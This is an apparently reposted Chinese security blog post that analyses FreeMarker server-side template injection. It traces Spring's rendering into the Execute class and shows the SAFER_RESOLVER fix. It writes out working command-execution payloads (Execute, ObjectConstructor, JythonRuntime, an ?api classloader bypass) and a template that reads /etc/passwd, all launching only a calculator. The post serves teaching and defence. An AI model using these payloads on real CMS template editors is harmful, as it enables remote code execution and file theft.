0x01 前言
最近和 F1or 大師傅一起挖洞的時候發現一處某 CMS SSTI 的 0day,之前自己在復現 jpress 的一些漏洞的時候也發現了 SSTI 這個洞殺傷力之大,今天來好好系統學習一手,
有三個最重要的模板,其實模板引擎本質上的原理差不多,因為在 SpringBoot 初學習的階段我就已經學習過 Thymeleaf 了,所以大體上老生常談的東西就不繼續講了,
三個模板的模板注入攻擊差距其實還是有點大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有點大,我們今天主要來看看 FreeMarker 的 SSTI
0x02 FreeMarker SSTI
FreeMarker 官網:http://freemarker.foofun.cn/index.html
對應版本是 2.3.23,一會兒我們搭建環境的時候也用這個版本
FreeMarker 基礎語法
關于文本與注釋,本文不再強調,重點看插值與 FTL 指令,
插值
插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,將使用資料模型中的部分替代輸出
比如這一個 .ftl 檔案
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Hello ${name}!</title> <link href=https://www.cnblogs.com/hetianlab/p/"/css/main.css" rel="stylesheet"> </head> <body> <h2 class="hello-title">Hello ${name}!</h2> <script src=https://www.cnblogs.com/hetianlab/p/"/js/main.js"></script> </body> </html>
那么 ${name} 的資料就會從傳參里面拿,對應的這個是在 addAttribute 中的 name 引數
FTL 指令
FTL 指令以 # 開頭,其他語法和 HTML 大致相同,
我這里其實也花了不少時間看了 FreeMarker 的基礎語法,但是并非很透徹,就不誤人子弟了,有興趣的師傅可以自己前往 FreeMarker 手冊查看,
https://freemarker.apache.org/
FreeMarker SSTI 成因與攻擊面
看了一些文章,有些地方有所疏漏,先說 SSTI 的攻擊面吧,我們都知道 SSTI 的攻擊面其實是模板引擎的渲染,所以我們要讓 Web 服務器將 HTML 陳述句渲染為模板引擎,前提是要先有 HTML 陳述句,那么 HTML 如何才能被弄上去呢?這就有關乎我們的攻擊面了,
將 HTML 陳述句放到服務器上有兩種方法:
1、檔案上傳 HTML 檔案,
2、若某 CMS 自帶有模板編輯功能,這種情況非常多,
因為之前有接觸過 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常鋒利, Thymeleaf SSTI 的攻擊往往都是通過傳參即可造成 RCE(當然這段話很可能是不嚴謹的
在剛接觸 FreeMarker 的 SSTI 的時候,我誤以為它和 Thyemelaf 一樣,直接通過傳參就可以打,后來發現我的想法是大錯特錯,
環境搭建
一些開發的基本功,因篇幅限制,我也不喜放這些代碼的書寫,貼個專案地址吧
https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview
漏洞復現
前文我有提到,FreeMarker 的 SSTI 必須得是獲取到 HTML,再把它轉換成模板,從而引發漏洞,所以這里要復現,只能把 HTML 陳述句插入到 .ftl 里面,太生硬了簡直,,,,,不過和 F1or 師傅一起挖出來的 0day 則是比較靈活,有興趣的師傅可以滴一下我
payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
構造出這個 PoC 的原因是 freemarker.template.utility.Execute 類里面存在如下圖所示的命令執行方法,都寫到臉上來了,

漏洞復現如圖

漏洞分析
我們要分析的是,MVC 的思維,以及如何走到這個危險類 ———— freemarker.template.utility.Execute 去的,
下一個斷點在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,開始除錯

跟進 super.createView()

進一步跟進 loadView() 以及 buildView(),這些方法的業務意義都比較好理解,先 create 一個 View 視圖,再將其 load 進來,最后再 build,



在 buildView() 方法當中,先通過 this.instantiateView() 的方式 new 了一個 FreeMarkerView 類,又進行了一些基礎賦值,將我們的 View Build 了出來(也就是 View 變得有模有樣了)
繼續往下走,回到 loadView() 方法,loadView() 方法呼叫了 view.checkResource() 方法

checkResource() 方法做了兩件事,第一件事是判斷 Resource 當中的 url 是否為空,也就是判斷是否存在 resource,如果 url 都沒東西,那么后續的模板引擎加載就更不用說了;第二件事是進行 template 的獲取,也可以把這理解為準備開始做模板引擎加載的業務了,

跟進 getTemplate() 方法

首先做了一些賦值判斷,再判斷 Template 的存在,我們跟進 this.cache.getTemplate

這里從 cache 里面取值,而在我們 putTemplate 設定模板的時候,也會將至存盤到 cache中,
跟進 getTemplateInternal()

先做了一些基本的判斷,到 202 行,跟進 lookupTemplate() 方法

這里代碼很冗雜,最后的結果是跟進 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy

代碼會先拼接 _zh_CN,再尋找未拼接 _zh_CN 的模板名,呼叫 this.findTemplateSource(path) 獲取模板實體,

這里就獲取到了 handle 執行回傳的模板視圖實體,這里我 IDEA 沒有走過去,就跟著奶思師傅的文章先分析了,
org.springframework.web.servlet.DispatcherServlet#doDispatch 流程

handle 執行完成后呼叫 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 進行模板決議,

呼叫 view.render(mv.getModelInternal(), request, response); 一路跟進至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender

跟進 this.processTemplate()

跟進 process()

process() 方法是做了一個輸出(生成) HTML 檔案或其他檔案的作業,相當于渲染的最后一步了,
在 process() 方法中,會對 ftl 的檔案進行遍歷,讀取一些資訊,下面我們先說對于正常陳述句的處理,再說對于 ftl 運算式的處理,

在讀取到每一條 freeMarker 運算式陳述句的時候,會二次呼叫
visit()方法,而visit()方法又呼叫了element.accept(),跟進

跟進 calculateInterpolatedStringOrMarkup() 方法

calculateInterpolatedStringOrMarkup() 方法做的業務是將模型強制為字串或標記,跟進 eval() 方法

eval() 方法簡單判斷了 constantValue 是否為 null,這里 constantValue 為 null,跟進 this._eval(),一般的 _eval() 方法只是將 evn 獲取一下,但是對于 ftl 陳述句就不是這樣了,一般的 _eval() 方法如下

而對于 ftl 運算式來說,accept 方法是這樣的

跟進一下 accept() 方法

做了一系列基礎判斷,先判斷 namespaceExp 是否為 null,接著又判斷 this.operatorType 是否等于 65536,到第 105 行,跟進 eval() 方法,再跟進 _eval()


我們可以看到 targetMethod 目前就是我們在 ftl 陳述句當中構造的那個能夠進行命令執行的類,也就是說這一個陳述句相當于
Object result = targetMethod.exec(argumentStrings); ? // 等價于 ? Object result = freemarker.template.utility.Execute.exec(argumentStrings);
而這一步并非直接進行命令執行,而是先把這個類通過 newInstance() 的方式進行初始化,
命令執行的引數,會被拿出來,在下一次的同樣流程中作為命令被執行,如圖

至此,分析結束,很有意思的一個流程分析,

FreeMarker SSTI 的攻防二象性
我們目前的 PoC 是這么打的
<#assign value=https://www.cnblogs.com/hetianlab/p/"freemarker.template.utility.Execute"?new()>${value("Calc")}
這是因為 FreeMarker 的內置函式 new 導致的,下面我們簡單介紹一下 FreeMarker的兩個內置函式—— new 和 api
內置函式 new
可創建任意實作了 TemplateModel 介面的 Java 物件,同時還可以觸發沒有實作 TemplateModel 介面的類的靜態初始化塊, 以下兩種常見的FreeMarker模版注入poc就是利用new函式,創建了繼承 TemplateModel 介面的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute
API
value?api 提供對 value 的 API(通常是 Java API)的訪問,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty,可通過 getClassLoader獲取類加載器從而加載惡意類,或者也可以通過 getResource來實作任意檔案讀取, 但是,當api_builtin_enabled為 true 時才可使用 api 函式,而該配置在 2.3.22 版本之后默認為 false,
由此我們可以構造出一系列的 bypass PoC
POC1
<#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("Calc"")}
POC2
<#assign value=https://www.cnblogs.com/hetianlab/p/"freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
POC3
<#assign value=https://www.cnblogs.com/hetianlab/p/"freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
POC4
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }
讀取檔案
<#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>] <#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
從 2.3.17版本以后,官方版本提供了三種TemplateClassResolver對類進行決議: 1、UNRESTRICTED_RESOLVER:可以通過 ClassUtil.forName(className) 獲取任何類,
2、SAFER_RESOLVER:不能加載 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor這三個類, 3、ALLOWS_NOTHING_RESOLVER:不能決議任何類, 可通過freemarker.core.Configurable#setNewBuiltinClassResolver方法設定TemplateClassResolver,從而限制通過new()函式對freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor這三個類的決議,
FreeMarker SSTI 修復
因為 FreeMarker 不能直接傳參打,所以此處的代碼參考奶思師傅,
package freemarker; ? import freemarker.cache.StringTemplateLoader; import freemarker.core.TemplateClassResolver; import freemarker.template.Configuration; import freemarker.template.Template; ? import java.io.IOException; import java.io.OutputStreamWriter; import java.io.StringWriter; import java.util.HashMap; ? public class freemarker_ssti { public static void main(String[] args) throws Exception { ? //設定模板 HashMap<String, String> map = new HashMap<String, String>(); String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }"; System.out.println(poc); StringTemplateLoader stringLoader = new StringTemplateLoader(); Configuration cfg = new Configuration(); stringLoader.putTemplate("name",poc); cfg.setTemplateLoader(stringLoader); //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); //處理決議模板 Template Template_name = cfg.getTemplate("name"); StringWriter stringWriter = new StringWriter(); ? Template_name.process(Template_name,stringWriter); ? ? } }
防御成功

0x03 小結
比較其他兩個模板引擎來說,FreeMarker 的 SSTI 更為嚴格一些,它的防護也做的相當有力,這個給自己挖個小坑吧,后續去看一看 FreeMarker 的代碼當中是否存在強而有力的 bypass payload,
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/538026.html
標籤:其他
上一篇:記錄一次現學現賣的提權
